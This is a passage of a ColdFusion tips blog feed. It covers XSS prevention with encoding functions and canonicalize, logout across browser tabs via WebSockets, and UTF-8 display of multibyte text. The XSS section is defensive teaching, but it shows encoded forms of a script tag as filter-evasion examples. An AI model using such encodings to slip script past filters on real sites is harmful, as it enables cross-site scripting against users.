&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
CSS&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
EncodeForCSS&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;style&amp;gt;body{background-color:#encodeForCSS(url.color)#;}&amp;lt;/style&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 15.7pt; mso-yfti-irow: 7; mso-yfti-lastrow: yes;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF10&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
URL&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
EncodeForURL&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;a   href=&quot;./dispUserList?name=#EncodeForURL(url.name)#&quot;&amp;gt;User   List&amp;lt;/a&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We have already applied some security measure. So, you think you are safe now. &lt;b&gt;N0!!!&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Why? Here in the above example in most of the cases we have passed the script as plain text, so the different secure displaying functions are able to convert that string into a display safe string and displaying it. If someone passes the string in different encoding format available which supports by most of the browsers.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Example: &amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
There are many ways where we can represent our string if we are using UTF-8 encoding in our web page.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Let say in how many ways I can represent a string : &quot;&amp;lt;script&amp;gt;&quot;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;lt;script&amp;gt; : &amp;amp;lt;script&amp;amp;gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;lt;script&amp;gt;:&amp;nbsp; %26lt;script%26gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Similarly we can replace all &quot;script&quot; by hex code and also we can use other encoding to form the string. So, our display formatting function will not be able to detect all these.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Question comes, what we will do now?&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
First decode the variable which we are getting by some user input and decode that to plain text format. Then pass that to display formatting function. See the below example.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/e07dca9a62ab777141fc.js&quot;&gt;&lt;/script&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I have added new function called &quot;&lt;b&gt;sanitizeScope&lt;/b&gt;&quot; in &lt;b&gt;Application.cfc&lt;/b&gt;. It will decode all variables in a particular scope if you pass that scope as a argument to that function. So, in onRequestStart() method I’m calling that function to decode all variables in URL scope and I can use the display formatting function safely in my browser.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In the above example I have used a new function &quot;&lt;b&gt;canonicalize&lt;/b&gt;&quot;, which is added in ColdFusion 10 and is used for decoding a string.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Till now we have covered basic non-persistent scope XSS attack and how to avoid it. Hope you have enjoyed it!!!&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;u&gt;Persistent XSS
Attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In previous section we just learned, what is non – persistent XSS
attack and how we can restrict it. Now, let’s starts with Persistent XSS
Attack. This type of attack is most dangerous for a application as it will
affect the application until and unless the malicious script is removed.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Persistent XSS Attack means the malicious script permanently
stored in our application. Let say in one blog post some attacker has added
malicious script in comment; when the blog post will be loaded then it will
load that script and attacker can able to perform whatever he wants to do with
your application.&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
Find the example here:&amp;nbsp;&lt;a href=&quot;http://coldfusion-tip.blogspot.in/2013/12/examples-of-xss-attack.html&quot;&gt;http://coldfusion-tip.blogspot.in/2013/12/examples-of-xss-attack.html&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;How we can prevent
such attack?&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Use the method “sanitizeScope” which I just described in
previous section ( or you can directly use “canonicalize”&amp;nbsp; for deciding any inputs entered by user) then
apply display formatting methods available in different versions of ColdFusion while displaying user inputs or while storing user inputs in database.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;You can apply this process before saving the
data into database, so that each time you don’t have to use display formatting
function while displaying the data. But, sometimes developers prefer not to
change any user input while saving in database but to format the data while
displaying to user. It depends on personal preference.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We have covered all basic XSS attack prevention methods available in ColdFusion. In next of XSS attack we will see some advance concept.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/12/coldfusion-application-security.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-3855373990441904499</guid><pubDate>Thu, 12 Dec 2013 09:35:00 +0000</pubDate><atom:updated>2013-12-21T16:07:00.346+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">WebSocket</category><title>Display login screen in browser when session time out for a user using Web Socket</title><description>If you will notice the ColdFusion Administrator of CF10 then you can find that in some intervals of time it keeps refreshing. Though I am not sure why it is refreshing but I believe that refresh option is added just to take user to login screen when session time out occurs.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Let say you are using some chatting application and you have opened different chat window in different tabs and you logout from the application and you forgot to close other chat window tabs. The other chat tab which is opened may have some sensitive/private information which others can view. So, ideally we should view the login screen in all tabs once a user manually logs out or when the session timeout occurs.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We can show user login screen in all tabs when session timeout occurs/logs out by the user by using one of the following ways.&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Keeps refreshing our page in some intervals of time and when session times out then you will automatically redirect to login screen. But this may create issues like content reload unnecessarily.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Keep making AJAX call to server to verify login status in some intervals of time and reload the page whenever required. This is correct upto some extent okay but we have to make AJAX call in some intervals of time, i,e - some extra burden.&lt;/li&gt;
&lt;li&gt;Use Web Socket to achieve the functionality without refreshing the screen in some intervals of time.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
For #1 and #2 time interval will be more than the session timeout time.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I think #1 and #2 is not the optimized way of do that. So, lets see how we can achieve that using ColdFusion Web Socket &amp;nbsp;and I think this is one of the best method to achieve this.&lt;br /&gt;
&lt;br /&gt;
Before I move ahead please download the application &lt;a href=&quot;https://docs.google.com/uc?export=download&amp;amp;id=0B2GDR5_Jv000NkZnRWpEdzMxdEU&quot; target=&quot;_blank&quot;&gt;here.(Login Tracking By WebSocket.)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;***NOTE: Attached code will work only in ColdFusion 10&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create a Web application in your computer using the above code and use any email ID and Nick name to login into the Application.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Code Description&lt;/u&gt;&lt;/b&gt;:&lt;br /&gt;
Code contains inline comments and I am describing the whole logic below.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;How Does the Code Works&lt;/u&gt;&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
We have defined a channel &quot;&lt;b&gt;Logout&lt;/b&gt;&quot; in Application.cfc. Using this channel we can create no of sub channel of it in our application.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Logout.onLineUser&lt;/b&gt; - This channel no of currently online users in this application.&lt;br /&gt;
&lt;b&gt;Logout.{email ID Login User}&lt;/b&gt;&amp;nbsp;- This channel identifies whether a user is log in or log out from the system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 1: (Login Page and Login Process)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
- Display Login Screen to user if the user is not log in into the system.&lt;br /&gt;
- Take email ID and nick name to allow user to log in into the system and save the email ID in Application scope,&lt;br /&gt;
&amp;nbsp; a) so that other user can able to see online users of the Application at any time&lt;br /&gt;
&amp;nbsp; b) Make email validation, i.e :- Multiple login of same email ID is blocked at a time.&lt;br /&gt;
- Publish the online users into &quot;Logout.onLineUser&quot; channel.&lt;br /&gt;
- Redirect to index.cfm page.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 2:(index.cfm page and Display Online User)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
- Load all online users from &quot;Application.userInfo&quot; variable.&lt;br /&gt;
- Initiate two channels: 1. Logout.onLineUser 2. Logout.{email ID} (Here we are removing &quot;.&quot; and &quot;@&quot; from the email ID while creating sub channel)&lt;br /&gt;
- onLineResponseHandler : - In online user handler we will write the logic, if we are receiving data from user then display all the online user information received in UI.&lt;br /&gt;
- logoutResponseHandler: - In this response handler we will receive data if the user logout from the system. So, reload the page. As the session is undefined it will take you to the login screen.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 3:( Log out Functionality)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
- In index.cfm we have added a logout link. If you click on that link then it will take you to logout.cfm and then it calls logoutUser method present in Utility.cfc.&lt;br /&gt;
- logoutUser() we are taking two parameter.&lt;br /&gt;
&amp;nbsp;1. Application scope.&lt;br /&gt;
&amp;nbsp;2. Login Info Structure from Session scope.&lt;br /&gt;
&lt;br /&gt;
- We are deleting the user information from &quot;Application.userInfo&quot;.&lt;br /&gt;
- We are clrearing the Session Scope and publishing login status of the user to&lt;br /&gt;
- Publish all available user information to &quot;Logout.onLineUser&quot; channel. So that all active users can see the online status at that instant.&lt;br /&gt;
- Publish login status of the currently logout user to &amp;nbsp;channel &quot;Logout.{email ID}&quot; &amp;nbsp;and in JS code after getting the status the page will be reloaded, as the session is already cleared then it will redirect to login page.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 4: Auto Log out by Session timeout&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
- When session time out wil happen then we are calling &quot;logoutUser()&quot; from onSessionEnd().&lt;br /&gt;
- In logoutUser() method we are just deleting the user information from Application.userInfo and publishing the logut status to reload the browser if that is opened.&lt;br /&gt;
&lt;br /&gt;
Hope you have enjoyed!!!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/12/display-login-screen-in-browser-when.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-641423300646867703</guid><pubDate>Wed, 27 Nov 2013 11:16:00 +0000</pubDate><atom:updated>2013-11-27T16:48:26.400+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">AJAX</category><category domain="http://www.blogger.com/atom/ns#">cfprocessingdirective</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">Displaying multibyte characters</category><category domain="http://www.blogger.com/atom/ns#">return multibyte characters in AJAX call</category><title>Displaying multibyte characters or returning multibyte characters by AJAX call in ColdFusion</title><description>Sometimes we need to display a multibyte characters like Japanese or Chinese in our application or we have to build a application which can be converted into Japanese, Chinese or to some other non-English language.&lt;br /&gt;
&lt;br /&gt;
If we are going to show any non-English language directly in our ColdFusion code then we will get some corrupted text.&lt;br /&gt;
Example: In below code I am simply trying to show a Japanese sentence.&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;cfset x = &quot;ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。&quot; /&amp;gt;
&amp;lt;cfoutput&amp;gt;#x#&amp;lt;/cfoutput&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
When I run above code I got following output in my browser.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2mFkOE-gyVq_-AycwTdmormw4MIuOWS010TvNAMHmcomkWC0OdILGGdCXuvhqxTj2Yfb174yc7bftE3dK_2IQoI7E1-LYDtGBk6z3oCQ8ZwcX41DOJ_2KzmRQvGFBJXydJc5OstMs5-8/s1600/multi-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;38&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2mFkOE-gyVq_-AycwTdmormw4MIuOWS010TvNAMHmcomkWC0OdILGGdCXuvhqxTj2Yfb174yc7bftE3dK_2IQoI7E1-LYDtGBk6z3oCQ8ZwcX41DOJ_2KzmRQvGFBJXydJc5OstMs5-8/s640/multi-1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Our browser is not displaying any Japanese character which we wants to display instead it&#39;s showing some other characters. How to display that?&lt;br /&gt;
&lt;br /&gt;
It&#39;s very simple, just add &quot;&lt;b&gt;&amp;lt;cfprocessingdirective pageencoding=&quot;UTF-8&quot;&amp;gt;&quot;&amp;nbsp;&lt;/b&gt;at the start of the page like below:&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;cfprocessingdirective pageencoding=&quot;UTF-8&quot;&amp;gt;
&amp;lt;cfset x = &quot;ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。&quot; /&amp;gt;
&amp;lt;cfoutput&amp;gt;#x#&amp;lt;/cfoutput&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
When I run the code I got following output.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRsnTvw9ASMGa_sMxWLT5L7dkHoEy_qfI0zQcpD1MAbWnKxzoLJ722rUaoYhGy2D4tUfaaAz6hXciKNEz-srPrJIkDYDm6bjvD9Od4McDF8Cv0F7eVJzUpBQ2K5laph6yGVv5_R-X6CI/s1600/multi-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;54&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRsnTvw9ASMGa_sMxWLT5L7dkHoEy_qfI0zQcpD1MAbWnKxzoLJ722rUaoYhGy2D4tUfaaAz6hXciKNEz-srPrJIkDYDm6bjvD9Od4McDF8Cv0F7eVJzUpBQ2K5laph6yGVv5_R-X6CI/s640/multi-2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
So, I am getting the desired output by using &quot;&lt;b&gt;cfprocessingdirective&lt;/b&gt;&quot;. It&#39;s always advisable to put this tag in &lt;b&gt;onRequest&lt;/b&gt; method of &lt;b&gt;Application.cfc &lt;/b&gt;in our application&amp;nbsp;so that we don&#39;t have to place it in all cfm pages of our application.&lt;br /&gt;
&lt;br /&gt;
Our cfm page now able to display multibyte characters in browser. What about AJAX calls? What will happen when we will make an AJAX call to a ColdFusion component which returns some multibyte characters?&lt;br /&gt;
&lt;br /&gt;
Let&#39;s explore...&lt;br /&gt;
Here is my &quot;testchar.cfm&quot; code:&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://code.jquery.com/jquery-1.10.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
        &amp;lt;script&amp;gt;
        $(document).ready(function() {

            //Making AJAX call to function returnChar present in component testchar.cfc which returns
            //the same Japanese string.
            $(&quot;#reloadC&quot;).click(function() {
                $.ajax({
                    type: &quot;post&quot;,
                    url: &#39;./testChar.cfc?method=returnChar&#39;,
                    success: function(data) {
                        $(&#39;#multi-char&#39;).html(data);
                    },
                    dataType: &#39;json&#39;
                });
            });
        });
        &amp;lt;/script&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;h3&amp;gt;Display Multibyte Character&amp;lt;/h3&amp;gt;&amp;lt;hr/&amp;gt;
        &amp;lt;p&amp;gt;Press Refresh button to get multibyte characters from AJAX call&amp;lt;/p&amp;gt;

        &amp;lt;!--- Press refresh button to get multibyte characters from AJAX call ---&amp;gt;
        &amp;lt;input type=&quot;button&quot; name=&quot;reloadC&quot; id=&quot;reloadC&quot; value=&quot;Refresh&quot; /&amp;gt;
        &amp;lt;div id=&quot;multi-char&quot; style=&quot;width:500px&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
Here is our &quot;testchar.cfc&quot; code:&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;cfcomponent output=&quot;true&quot;&amp;gt;
    &amp;lt;cffunction name=&quot;returnChar&quot; access=&quot;remote&quot; returnformat=&quot;JSON&quot;&amp;gt;
        &amp;lt;cfset x = &quot;ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。&quot; /&amp;gt;
        &amp;lt;cfreturn x /&amp;gt;
    &amp;lt;/cffunction&amp;gt;
&amp;lt;/cfcomponent&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
When I runs the testChar.cfm page and clicks the refresh button I gets following output.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinqwe1ModQ6FPZkKZr7rvUlJ4pa-A2KHyykcxQe_U2w_M0zo1yq16D0B4kpLPCDtUJsVCWb3tz68aFRqnulbdf7TRvErNO5cWlm5lxtb4aWGFgHLq3_VDIl-b0ay2_v1pmfkxlTX6NYqM/s1600/multi-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinqwe1ModQ6FPZkKZr7rvUlJ4pa-A2KHyykcxQe_U2w_M0zo1yq16D0B4kpLPCDtUJsVCWb3tz68aFRqnulbdf7TRvErNO5cWlm5lxtb4aWGFgHLq3_VDIl-b0ay2_v1pmfkxlTX6NYqM/s1600/multi-3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
So, again I am getting unwanted result. So, how to solve in ColdFusion component?&lt;br /&gt;
Here we have to place &quot;&lt;b&gt;cfprocessingdirective&lt;/b&gt;&quot; tag after cfcomponent tag and before starting of any function like below.&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;&amp;lt;cfcomponent output=&quot;true&quot;&amp;gt;
&amp;lt;cfprocessingdirective pageEncoding = &quot;UTF-8&quot; suppressWhiteSpace = &quot;yes&quot;&amp;gt;
    &amp;lt;cffunction name=&quot;returnChar&quot; access=&quot;remote&quot; returnformat=&quot;JSON&quot;&amp;gt;
        &amp;lt;cfset x = &quot;ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。&quot; /&amp;gt;
        &amp;lt;cfreturn x /&amp;gt;
    &amp;lt;/cffunction&amp;gt;
&amp;lt;/cfprocessingdirective&amp;gt;
